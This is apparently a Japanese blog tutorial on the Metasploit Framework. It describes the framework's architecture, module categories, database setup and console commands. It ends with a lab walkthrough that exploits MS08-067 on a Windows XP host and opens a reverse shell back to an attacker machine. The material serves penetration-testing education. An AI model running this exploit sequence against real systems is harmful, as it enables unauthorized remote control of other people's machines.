Metasploitフレームワークの構成と実践的運用ガイド

1. 設計思想と開発背景

セキュリティ検証作業において、無数の脆弱性PoC(概念実証コード)やEXP(攻撃スクリプト)が個別の言語・依存パッケージ・実行環境で配布される課題は長年存在した。Metasploit Framework(MSF)は、これらの断片的な攻撃コードを標準化されたモジュール単位で統合管理し、環境依存を排除するために構築されたオープンソースプラットフォームである。

2003年にH.D. Moore氏により初版が公開され、2007年にRuby言語による大規模リファクタリングを経て、現在の拡張可能なアーキテクチャが確立された。ライセンス体系としては、ディストリビューションに標準搭載されコミュニティ主導でメンテナンスされるCommunity版と、自動レポート生成、高度な検知回避(AV/EDR・IDS/IPS)、マルチホップPivoting機能を備えた商用Enterprise版が存在する。

2. 内部アーキテクチャ

MSFは階層化されたコンポーネント群で構成され、保守性と拡張性を両立している。

  • REXコアライブラリ:ソケット接続管理、プロトコル実装(HTTP/SMB/SSL等)、エンコーディング変換(Base64/XOR/Unicode等)を抽象化する共通基盤。
  • モジュールエンジン:攻撃・検証ロジックをカテゴリ別に分離。現行版ではEvasionモジュールを含め7つの機能領域を提供。
  • プラグイン機構:NessusやNmap等の外部診断ツールをMSFセッション内から直接呼び出し、結果を統合管理する拡張インターフェース。
  • クライアント層:対話型CLI(msfconsole)、REST/RPC API(msfrpc)、サードパーティGUI連携(Armitage/Cobalt Strike)。
  • スタンドアロンユーティリティ:ペイロード生成・難読化を実行するmsfvenom等の独立実行ファイル群。

3. モジュール分類と動作仕様

MSFの機能は用途に応じて厳密に区分され、脆弱性検証のフェーズに合わせて呼び出される。

  1. Auxiliary:ポートスキャン、サービスバナー取得、認証総当たり、DoS検証など、エクスプロイト実行を伴わない情報収集・検証機能。
  2. Exploits:対象OS/ミドルウェアの脆弱性ロジックを実装した攻撃コード。バインド型・リバース型、アクティブ/パッシブ実行モードに対応。
  3. Payloads:エクスプロイト成功後にターゲット上で展開される実行コード。メモリ制約に対応したステージ配信モデルを採用。
    • single:自己完結型の軽量シェルコード。
    • stager:初期接続を確立し、追加モジュールのダウンロードを中継する小型ペイロード。
    • stage:Stager経由で配信される完全な制御環境(Meterpreter等)。
  4. Encoders:静的シグネチャ検知を回避するため、ペイロードのバイト列を変換・難読化するフィルタ。
  5. Nops:ASLRやアドレス計算誤差を吸収するためのNOP Sledを挿入し、Shellcodeの実行成功率を向上させる。
  6. Post:リモートアクセス確立後に実行する権限昇格、情報抽出、永続化設定、内部ネットワーク横展開モジュール。
  7. Evasion:マルウェア解析環境・セキュリティソフトの挙動検知を迂回するための難読化生成機能。

4. データベース管理とコンソール初期化

MSFは診断結果・脆弱性情報・セッションメタデータをPostgreSQLで永続化する。Kali Linux環境ではmsfdbラッパーによりDBライフサイクルを一元操作できる。

# データベースステータス確認と初期構築
$ msfdb status
$ msfdb init

# サービス自動起動設定(必要時)
$ sudo systemctl enable --now postgresql

# コンソール起動(非対話バナー付き)
$ msfconsole --quiet --banner

フレームワーク本体およびモジュール定義の更新は、パッケージマネージャ経由で実施する。

$ sudo apt update
$ sudo apt install metasploit-framework

5. 対話型シェルコマンド体系

msfconsoleはTAB補完、外部シェルエスケープ、エイリアス定義を備えた統合CLIである。主要コマンドの用途を以下に示す。

  • help / ?:組み込みコマンドリファレンス表示。
  • connect <HOST> <PORT>:簡易TCPクライアント(NetCat代替)。
  • show <RESOURCE>modulespayloadsoptionstargetsadvanced等のリソース一覧。
  • search <QUERY>:モジュールフィルタリング。name:platform:type:cve:author:等の属性で複合検索可能。
  • use <PATH>:指定モジュールをアクティブコンテキストへロード。
  • set / setg:スコープ付き変数定義。setgは複数モジュール跨ぎのグローバル設定。
  • check:脆弱性の実在性検証のみ実施(ペイロード配信なし)。
  • run / exploit [-j]:モジュール実行(-j指定でバックグラウンドジョブ化)。
  • sessions -i <ID>:取得済みセッションへの対話切替。
  • jobs -K / sessions -K:実行タスク・セッションの一括終了。

コンソール終了時にsaveを実行することで、設定値が~/.msf4/configにシリアライズされ、次回起動時に自動復元される。

6. 脆弱性検証の実行フロー

以下は、SMBプロトコルの論理欠陥(MS08-067)を対象とした検証シナリオである。ネットワーク定義、ターゲット特定、ペイロード逆接続設定、バックグラウンド実行の手順を再構成している。

環境パラメータ
- ターゲット(RHOSTS):10.0.2.15(Windows XP SP3 日本語版)
- 攻撃機(LHOST):10.0.2.4
- 待機ポート(LPORT):4488
- ペイロードタイプ:windows/shell/reverse_tcp

msf6 > search name:ms08_067 type:exploit

msf6 > use exploit/windows/smb/ms08_067_netapi

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.0.2.15
RHOSTS => 10.0.2.15

msf6 > show targets
# 出力リストから対象OS/言語に一致するインデックスを特定
msf6 > set TARGET 34

msf6 > set PAYLOAD windows/shell/reverse_tcp
msf6 > set LHOST 10.0.2.4
msf6 > set LPORT 4488

msf6 > check
[*] 10.0.2.15:445 - The target is vulnerable.

msf6 > exploit -j
[*] Exploit running as background job 2.
[*] 10.0.2.15:445 - Auto-targeting detected architecture/language...
[*] Transmitting intermediate stager for over-sized stage...
[*] Sending stage (957999 bytes) to 10.0.2.15
[*] Command shell session 3 opened (10.0.2.4:4488 -> 10.0.2.15:1032)

msf6 > sessions -i 3
[*] Starting interaction with 3...

Microsoft Windows XP [Version 5.1.2600]
C:\WINDOWS\system32>

上記フローではexploit -jによりセッション取得後もメインコンソールを維持し、sessions -iで非同期ハンドラへ制御を委譲している。確立されたシェルセッション内で、標準OSコマンド(shutdown /r /t 0等)の発行や権限昇格検証が可能となる。

タグ: metasploit-framework msfconsole exploit-development kali-linux vulnerability-scanning

8月18日 08:28 投稿